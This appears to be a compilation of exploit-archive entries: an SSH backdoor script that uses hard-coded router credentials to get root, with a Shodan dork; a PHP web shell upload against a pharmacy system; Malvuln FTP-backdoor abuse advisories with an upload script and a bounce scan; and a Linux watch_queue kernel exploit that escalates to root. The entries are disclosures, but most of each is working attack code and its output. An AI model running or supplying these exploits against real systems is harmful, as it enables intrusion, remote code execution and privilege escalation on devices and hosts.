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<pre><code>#!/usr/bin/env python3 # # # USR IOT 4G LTE Industrial Cellular VPN Router 1.0.36 Remote Root Backdoor # # # Vendor: Jinan USR IOT Technology Limited # Product web page: https://www.pusr.com | https://www.usriot.com # Affected version: 1.0.36 (USR-G800V2, USR-G806, USR-G807, USR-G808) # 1.2.7 (USR-LG220-L) # # Summary: USR-G806 is a industrial 4G wireless LTE router which provides # a solution for users to connect own device to 4G network via WiFi interface # or Ethernet interface. USR-G806 adopts high performance embedded CPU which # can support 580MHz working frequency and can be widely used in Smart Grid, # Smart Home, public bus and Vending machine for data transmission at high # speed. USR-G806 supports various functions such as APN card, VPN, WIFIDOG, # flow control and has many advantages including high reliability, simple # operation, reasonable price. USR-G806 supports WAN interface, LAN interface, # WLAN interface, 4G interface. USR-G806 provides various networking mode # to help user establish own network. # # Desc: The USR IOT industrial router is vulnerable to hard-coded credentials # within its Linux distribution image. These sets of credentials are never # exposed to the end-user and cannot be changed through any normal operation # of the device. The 'usr' account with password 'www.usr.cn' has the highest # privileges on the device. The password is also the default WLAN password. # Shodan Dork: title:"usr-*" // 4,648 ed ao 15042022 # # ------------------------------------------------------------------------- # lqwrm@metalgear:~$ python usriot_root.py 192.168.0.14 # # --Got rewt! # # id;id root;pwd # uid=0(usr) gid=0(usr) # uid=2(root) gid=2(root) groups=2(root) # /root # # crontab -l # */2 * * * * /etc/ltedial # */20 * * * * /etc/init.d/Net_4G_Check.sh # */15 * * * * /etc/test_log.sh # */120 * * * * /etc/pddns/pddns_start.sh start & # 44 4 * * * /etc/init.d/sysreboot.sh & # */5 * * * * ps | grep "/usr/sbin/ntpd" && /etc/init.d/sysntpd stop; # 0 */4 * * * /etc/init.d/sysntpd start; sleep 40; /etc/init.d/sysntpd stop; # cat /tmp/usrlte_info # Local time is Fri Apr 15 05:38:56 2022 # (loop) # IMEI Number:8*************1 # Operator information:********Telecom # signal intensity:normal(20) # # Software version number:E*****************G # SIM Card CIMI number:4*************7 # SIM Card number:8******************6 # Short message service center number:"+8**********1" # system information:4G Mode # PDP protocol:"IPV4V6" # CREG:register # Check ME password:READY # base station information:"4**D","7*****B" # cat /tmp/usrlte_info_imsi # 4*************7 # # exit # # lqwrm@metalgear:~$ # ------------------------------------------------------------------------- # # Tested on: GNU/Linux 3.10.14 (mips) # OpenWrt/Linaro GCC 4.8-2014.04 # Ralink SoC MT7628 PCIe RC mode # BusyBox v1.22.1 # uhttpd # Lua # # # Vulnerability discovered by Gjoko 'LiquidWorm' Krstic # @zeroscience # # # Advisory ID: ZSL-2022-5705 # Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5705.php # # # 10.04.2022 # import paramiko as bah import sys as baaaaaah bnr=''' ▄• ▄▌.▄▄ · ▄▄▄ ▪ ▄▄▄▄▄ █▪██▌▐█ ▀. ▀▄ █·██ ▪ •██ █▌▐█▌▄▀▀▀█▄▐▀▀▄ ▐█· ▄█▀▄ ▐█.▪ ▐█▄█▌▐█▄▪▐█▐█•█▌▐█▌▐█▌.▐▌ ▐█▌· ▄▄▄▄· ▄▄▄·▀ ▄▄·▀▄ •▄ ·▄▄▄▄ ▀█▄▀▪ ▀▀▀ ▄▄▄ ▐█ ▀█▪▐█ ▀█ ▐█ ▌▪█▌▄▌▪██▪ ██ ▪ ▪ ▀▄ █· ▐█▀▀█▄▄█▀▀█ ██ ▄▄▐▀▀▄·▐█· ▐█▌ ▄█▀▄ ▄█▀▄ ▐▀▀▄ ██▄▪▐█▐█ ▪▐▌▐███▌▐█.█▌██. ██ ▐█▌.▐▌▐█▌.▐▌▐█•█▌ ·▀▀▀▀ ▀ ▀ ▄▄▄▀ ·▀ ▀▀▀▀▀▀• ▄▄▄▄▄▪ ▀█▄▀▪.▀ ▀ ▀▄ █·▪ ▪ •██ ▐▀▀▄ ▄█▀▄ ▄█▀▄ ▐█.▪ ▐█•█▌▐█▌.▐▌▐█▌.▐▌ ▐█▌· ▄▄▄·▀ ▄▄·▀█▄▄· ▄▄▄▀..▄▄▀· .▄▄ · ▐█ ▀█ ▐█ ▌▪▐█ ▌▪▀▄.▀·▐█ ▀. ▐█ ▀. ▄█▀▀█ ██ ▄▄██ ▄▄▐▀▀▪▄▄▀▀▀█▄▄▀▀▀█▄ ▐█ ▪▐▌▐███▌▐███▌▐█▄▄▌▐█▄▪▐█▐█▄▪▐█ ▀ ▀ ·▀▀▀ ·▀▀▀ ▀▀▀ ▀▀▀▀ ▀▀▀▀ ''' print(bnr) if len(baaaaaah.argv)<2: print('--Gief me an IP.') exit(0) adrs=baaaaaah.argv[1] unme='usr' pwrd='www.usr.cn' rsh=bah.SSHClient() rsh.set_missing_host_key_policy(bah.AutoAddPolicy()) try: rsh.connect(adrs,username=unme,password=pwrd,port=2222) #22 Ook. print('--Got rewt!') except: print('--Backdoor removed.') exit(-1) while True: cmnd=input('# ') if cmnd=='exit': rsh.exec_command('exit') break stdin,stdout,stderr = rsh.exec_command(cmnd) print(stdout.read().decode().strip()) rsh.close() </code></pre>

<pre><code># Exploit Title: Pharmacy management system - Remote Code Execution (RCE) # Date: 19/04/2022 # Exploit Author: Saud Alenazi # Vendor Homepage: https://www.sourcecodester.com/ # Software Link: https://www.sourcecodester.com/php/15281/multi-language-pharmacy-management-system-project-source-code.html # Version: 1.0 # Tested on: XAMPP, Linux # Contact: https://twitter.com/dmaral3noz # Exploit : You can upload a php shell file as a productImage # ------------------------------------------------------------------------------------------ # POC # ------------------------------------------------------------------------------------------ # Request sent as base user POST /dawapharma/dawapharma/php_action/editProductImage.php?id=1 HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------208935235035266125502673738631 Content-Length: 559 Connection: close Cookie: PHPSESSID=d2hvmuiicg9o9jl78hc2mkneel Upgrade-Insecure-Requests: 1 -----------------------------208935235035266125502673738631 Content-Disposition: form-data; name="old_image" -----------------------------208935235035266125502673738631 Content-Disposition: form-data; name="productImage"; filename="shell.php" Content-Type: image/jpeg <?php if($_REQUEST['s']) { system($_REQUEST['s']); } else phpinfo(); ?> </pre> </body> </html> -----------------------------208935235035266125502673738631 Content-Disposition: form-data; name="btn" -----------------------------208935235035266125502673738631-- # Response HTTP/1.1 302 Found Date: Tue, 19 Apr 2022 20:43:17 GMT Server: Apache/2.4.52 (Unix) OpenSSL/1.1.1m PHP/8.1.2 mod_perl/2.0.11 Perl/v5.32.1 X-Powered-By: PHP/8.1.2 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache location: ../product.php Content-Length: 77 Connection: close Content-Type: text/html; charset=UTF-8 Image uploaded successfully{"success":true,"messages":"Successfully Updated"} # ------------------------------------------------------------------------------------------ # Request to webshell # ------------------------------------------------------------------------------------------ GET /dawapharma/dawapharma/assets/myimages/shell.php?s=echo+0xSaudi HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: image/webp,*/* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Cookie: PHPSESSID=d2hvmuiicg9o9jl78hc2mkneel # ------------------------------------------------------------------------------------------ # Webshell response # ------------------------------------------------------------------------------------------ HTTP/1.1 200 OK Date: Tue, 19 Apr 2022 20:55:58 GMT Server: Apache/2.4.52 (Unix) OpenSSL/1.1.1m PHP/8.1.2 mod_perl/2.0.11 Perl/v5.32.1 X-Powered-By: PHP/8.1.2 Content-Length: 33 Connection: close Content-Type: text/html; charset=UTF-8 0xSaudi </pre> </body> </html> </code></pre>

<pre><code>Discovery / credits: Malvuln - malvuln.com (c) 2022 Original source: https://malvuln.com/advisory/5aa81ddc996be64116754efac0e4f55d.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.GateHell.21 Vulnerability: Authentication Bypass Description: The malware runs an FTP server on TCP ports 5301,5432,5300,5299,5298,5297,5296 and 5295. Third-party attackers who can reach infected systems can logon using any username/password combination. Intruders may then upload executables using ftp PASV, STOR commands, this can result in remote code execution. Family: GateHell Type: PE32 MD5: 5aa81ddc996be64116754efac0e4f55d Vuln ID: MVID-2022-0559 Disclosure: 04/18/2022 Exploit/PoC: C:\>nc64.exe 192.168.18.125 5301 220 ICS FTP Server ready. USER malvuln 331 Password required for malvuln. PASS malvuln 230 User malvuln logged in. SYST 215 UNIX Type: L8 Internet Component Suite CDUP 250 CWD command successful. "C:/" is current directory. PASV 227 Entering Passive Mode (192,168,18,125,195,126). STOR DOOM.exe 150 Opening data connection for DOOM.exe. 226 File received ok from socket import * MALWARE_HOST="192.168.18.125" PORT=50046 DOOM="DOOM.exe" def doit(): s=socket(AF_INET, SOCK_STREAM) s.connect((MALWARE_HOST, PORT)) f = open(DOOM, "rb") EXE = f.read() s.send(EXE) while EXE: s.send(EXE) EXE=f.read() s.close() print("By Malvuln"); if __name__=="__main__": doit() Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM). </code></pre>

<pre><code>Linux: watch_queue filter OOB write (and other bugs) This bug report is about things in the watch_queue subsystem, which is only enabled under CONFIG_WATCH_QUEUE. That seems to be disabled e.g. on Debian, but Ubuntu and Fedora enable it. The watch_queue subsystem has a bug that leads to out-of-bounds write in watch_queue_set_filter(): The first loop correctly checks for if (tf[i].type >= sizeof(wfilter->type_filter) * 8) but the second loop has the bound for .type wrong by a factor of 8 (on 64-bit systems): if (tf[i].type >= sizeof(wfilter->type_filter) * BITS_PER_LONG) This leads to two out-of-bounds writes: 1. out-of-bounds __set_bit() on wfilter->type_filter 2. out-of-bounds write of array elements behind wfilter->filters The following reproducer triggers an ASAN splat: ``` #define _GNU_SOURCE #include <unistd.h> #include <err.h> #include <stdio.h> #include <stdlib.h> #include <sys/ioctl.h> #include <sys/syscall.h> #include <linux/watch_queue.h> int main(void) { int pipefds[2]; if (pipe2(pipefds, O_NOTIFICATION_PIPE)) err(1, \"pipe2\"); int pfd = pipefds[0]; struct watch_notification_filter *filter = malloc(sizeof(struct watch_notification_filter) + sizeof(struct watch_notification_type_filter)); filter->nr_filters = 1; filter->__reserved = 0; filter->filters[0] = (struct watch_notification_type_filter){ .type = 1023 }; if (ioctl(pfd, IOC_WATCH_QUEUE_SET_FILTER, filter)) err(1, \"SET_FILTER\"); } ``` Here's the splat: ``` [ 83.180406][ T611] ================================================================== [ 83.181694][ T611] BUG: KASAN: slab-out-of-bounds in watch_queue_set_filter+0x659/0x740 [ 83.182928][ T611] Write of size 4 at addr ffff88800d2c66bc by task watch_queue_oob/611 [...] [ 83.187234][ T611] Call Trace: [ 83.187712][ T611] <TASK> [ 83.188133][ T611] dump_stack_lvl+0x45/0x59 [ 83.188796][ T611] print_address_description.constprop.0+0x1f/0x150 [...] [ 83.190539][ T611] kasan_report.cold+0x7f/0x11b [...] [ 83.192236][ T611] watch_queue_set_filter+0x659/0x740 [...] [ 83.194563][ T611] __x64_sys_ioctl+0x127/0x190 [ 83.195297][ T611] do_syscall_64+0x43/0x90 [ 83.195941][ T611] entry_SYSCALL_64_after_hwframe+0x44/0xae [...] [ 83.208194][ T611] Allocated by task 611: [ 83.208807][ T611] kasan_save_stack+0x1e/0x40 [ 83.209479][ T611] __kasan_kmalloc+0x81/0xa0 [ 83.210258][ T611] watch_queue_set_filter+0x23a/0x740 [ 83.211027][ T611] __x64_sys_ioctl+0x127/0x190 [ 83.211708][ T611] do_syscall_64+0x43/0x90 [ 83.212341][ T611] entry_SYSCALL_64_after_hwframe+0x44/0xae [ 83.213177][ T611] [ 83.213510][ T611] The buggy address belongs to the object at ffff88800d2c66a0 [ 83.213510][ T611] which belongs to the cache kmalloc-32 of size 32 [ 83.215452][ T611] The buggy address is located 28 bytes inside of [ 83.215452][ T611] 32-byte region [ffff88800d2c66a0, ffff88800d2c66c0) ``` In case you're wondering why syzkaller never managed to hit this: It actually has a definition file for watch queue stuff (https://github.com/google/syzkaller/blob/master/sys/linux/dev_watch_queue.txt), but that seems to be based on an older version of the series that introduced watch queues, so syzkaller doesn't know about O_NOTIFICATION_PIPE and instead tries to open /dev/watch_queue. Here's an extremely shoddy exploit that will sometimes give you a root shell on Fedora 35 and sometimes instead make the system hang/panic: ``` [user@fedora watch_queue]$ cat watch_queue_oob_elf_phdr.c #define _GNU_SOURCE #include <unistd.h> #include <err.h> #include <stdio.h> #include <stddef.h> #include <sched.h> //header conflict :/ //#include <fcntl.h> int open(const char *pathname, int flags, ...); #include <stdlib.h> #include <sys/ioctl.h> #include <sys/inotify.h> #include <sys/eventfd.h> #include <sys/resource.h> #include <sys/xattr.h> #include <sys/wait.h> #include <sys/mount.h> #include <sys/syscall.h> #include <linux/watch_queue.h> #include <linux/elf.h> #define SYSCHK(x) ({ \\ typeof(x) __res = (x); \\ if (__res == (typeof(x))-1) \\ err(1, \"SYSCHK(\" #x \")\"); \\ __res; \\ }) int main(void) { struct rlimit rlim_nofile; SYSCHK(getrlimit(RLIMIT_NOFILE, &rlim_nofile)); rlim_nofile.rlim_cur = rlim_nofile.rlim_max; SYSCHK(setrlimit(RLIMIT_NOFILE, &rlim_nofile)); // pin to one CPU core cpu_set_t cpu_set; CPU_ZERO(&cpu_set); CPU_SET(0, &cpu_set); SYSCHK(sched_setaffinity(0, sizeof(cpu_set_t), &cpu_set)); // create notification pipes, without filters yet int pfds[128]; for (int i=0; i<128; i++) { int pipefds[2]; SYSCHK(pipe2(pipefds, O_NOTIFICATION_PIPE)); pfds[i] = pipefds[0]; close(pipefds[1]); } // create a child with SCHED_IDLE policy that runs execve() when told to int continue_eventfd = SYSCHK(eventfd(0, 0)); pid_t child = SYSCHK(fork()); if (child == 0) { struct sched_param param = { .sched_priority = 0 }; SYSCHK(sched_setscheduler(0, SCHED_IDLE, &param)); eventfd_t evfd_value; SYSCHK(eventfd_read(continue_eventfd, &evfd_value)); SYSCHK(execl(\"/usr/bin/newgrp\", \"newgrp\", \"--bogus\", \"/bin/bash\", NULL)); } // set up an inotify watch to notify us every time the ELF parser reads from // the ELF binary (which involves preempting the ELF parser). int infd = SYSCHK(inotify_init()); SYSCHK(inotify_add_watch(infd, \"/usr/bin/newgrp\", IN_ACCESS)); // spam kmalloc-32 a bit. note that this might not be enough spam, depending // on how fragmented the slab is... // after spamming the slab, free all our allocations again, so that hopefully // we end up with a (more or less) empty CPU slab. #define NUM_SPAM 10000 /* 900 */ SYSCHK(unshare(CLONE_NEWUSER|CLONE_NEWNS)); SYSCHK(mount(\"none\", \"/dev/shm\", \"tmpfs\", MS_NOSUID|MS_NODEV, \"\")); int tmpfile = SYSCHK(open(\"/dev/shm/\", O_TMPFILE|O_RDWR, 0666)); for (int i=0; i<NUM_SPAM; i++) { char name[14] = \"security.XXXX\"; name[ 9] = 'A' + ((i >> 0) % 16); name[10] = 'A' + ((i >> 4) % 16); name[11] = 'A' + ((i >> 8) % 16); name[12] = 'A' + ((i >> 12) % 16); SYSCHK(fsetxattr(tmpfile, name, \"\", 0, XATTR_CREATE)); } close(tmpfile); // launch the ELF parser and preempt at every read. // note that PREEMPT_VOLUNTARY means we actually don't get rescheduled // directly at kernel_read(), instead it happens on the next kmalloc(): // __kmalloc() -> slab_alloc() -> slab_alloc_node() -> slab_pre_alloc_hook() // -> might_alloc() -> might_sleep_if() -> might_sleep() -> might_resched() // -> __cond_resched() // // First preemption is the allocation of memory for program headers, // second preemption is the allocation of memory for the interpreter name. // At the second preemption, the program headers have been loaded into // memory but the interpreter name's offset hasn't been read yet. // Third preemption is after the interpreter name has been stored in the // allocation but before it is passed to the VFS for opening. SYSCHK(eventfd_write(continue_eventfd, 1)); for (int i=0; i<3; i++) { struct inotify_event inev; if (SYSCHK(read(infd, &inev, sizeof(inev))) != sizeof(inev)) errx(1, \"bad inotify_event size\"); } struct watch_notification_filter *filter = malloc(sizeof(struct watch_notification_filter) + 2 * sizeof(struct watch_notification_type_filter)); filter->nr_filters = 1; filter->__reserved = 0; filter->filters[0] = (struct watch_notification_type_filter){ .type = 20 * 8, .info_mask = 0x80 }; for (int i=0; i<127; i++) { SYSCHK(ioctl(pfds[i], IOC_WATCH_QUEUE_SET_FILTER, filter)); } int status; int wait_res = wait(&status); printf(\"wait_res = %d\ \", wait_res); if (WIFEXITED(status)) { printf(\"exited with status %d\ \", WEXITSTATUS(status)); } else if (WIFSIGNALED(status)) { printf(\"signaled with signal %d\ \", WTERMSIG(status)); } else { printf(\"other?\ \"); } } [user@fedora watch_queue]$ gcc -o watch_queue_oob_elf_phdr watch_queue_oob_elf_phdr.c [user@fedora watch_queue]$ cat bogus-loader.S .global _start _start: /* setresuid(0, 0, 0) */ mov $117, %eax mov $0, %rdi mov $0, %rsi mov $0, %rdx syscall /* execve(argv[2], argv+2, envv) */ mov $59, %eax mov 24(%rsp), %rdi lea 24(%rsp), %rsi lea 40(%rsp), %rdx /* assume argc==3 */ syscall int $3 [user@fedora watch_queue]$ as -o bogus-loader.o bogus-loader.S [user@fedora watch_queue]$ ld -shared -o $'\\x80' bogus-loader.o [user@fedora watch_queue]$ ./watch_queue_oob_elf_phdr [root@fedora watch_queue]# id uid=0(root) gid=1000(user) groups=1000(user),10(wheel) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 ``` There are also some other bugs in the subsystem, but those are less easy to exploit or not security bugs at all: 1. free_pipe_info() first calls put_watch_queue(), which RCU-frees the struct watch_queue. Then afterwards it calls pipe_buf_release() on the pipe buffers, which calls watch_queue_pipe_buf_release(), which calls set_bit() on the already RCU-freed watch_queue. This is at least theoretically a UAF, in particular under CONFIG_PREEPMT. 2. watch_queue_pipe_buf_ops has a .get handler that calls try_get_page() and a .release handler that doesn't touch the page count. This would be a bug, except that this is dead code because none of the splice stuff works on notification pipes. 3. From what I can tell, watch_queue_set_size() permits setting a non-power-of-two number of buffers, which will break the code that assumes that you can use bitmasks instead of modulo for indexing into the pipe buffers array. 4. watch_queue_set_size() sets wqueue->nr_notes to nr_notes rounded up to a multiple of WATCH_QUEUE_NOTES_PER_PAGE while allocating the ->notes_bitmap with size nr_notes bits rounded up to a multiple of BITS_PER_LONG. On architectures with big PAGE_SIZE, this could lead to wqueue->nr_notes being bigger than the bitmap. 5. wqueue->notes_bitmap is never freed. 6. There is no synchronization between post_one_notification() and pipe_read(), neither locking nor smp_store_release(). 7. watch_queue_clear() has a comment claiming that ->defunct prevents new additions and notifications, but actually it only prevents notifications, not additions. This bug is subject to a 90-day disclosure deadline. If a fix for this issue is made available to users before the end of the 90-day deadline, this bug report will become public 30 days after the fix was made available. Otherwise, this bug report will become public at the deadline. The scheduled deadline is 2022-06-08. Related CVE Numbers: CVE-2022-0995. Found by: jannh@google.com </code></pre>

<pre><code>Discovery / credits: Malvuln - malvuln.com (c) 2022 Original source: https://malvuln.com/advisory/5aa81ddc996be64116754efac0e4f55d_B.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.GateHell.21 Vulnerability: Port Bounce Scan Description: The malware runs an FTP server on TCP ports 5301,5432,5300,5299,5298,5297,5296 and 5295. Third-party adversaries who successfully logon can abuse the backdoor FTP server as a man-in-the-middle machine allowing PORT Command bounce scan attacks using Nmap. This vulnerability allows remote attackers to abuse your system and discreetly conduct network port scanning. Victims will then think these scans are originating from the infected system running the afflicted malware FTP Server and not you. Family: GateHell Type: PE32 MD5: 5aa81ddc996be64116754efac0e4f55d Vuln ID: MVID-2022-0560 Disclosure: 04/18/2022 Exploit/PoC: C:\>nmap -n -Pn -b malvuln:malvuln@192.168.18.125:5301 -p21,22,80 192.168.18.237 -v Starting Nmap 7.80 ( https://nmap.org ) at 2022-04-18 12:46 UTC-11 Resolved FTP bounce attack proxy to 192.168.18.125 (192.168.18.125). Attempting connection to ftp://malvuln:malvuln@192.168.18.125:5301 Connected:220 ICS FTP Server ready. Login credentials accepted by FTP server! Initiating Bounce Scan at 12:46 Discovered open port 80/tcp on 192.168.18.237 Completed Bounce Scan at 12:46, 2.11s elapsed (3 total ports) Nmap scan report for 192.168.18.237 Host is up. PORT STATE SERVICE 21/tcp closed ftp 22/tcp closed ssh 80/tcp open http Read data files from: C:\Program Files (x86)\Nmap Nmap done: 1 IP address (1 host up) scanned in 11.24 seconds Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM). </code></pre>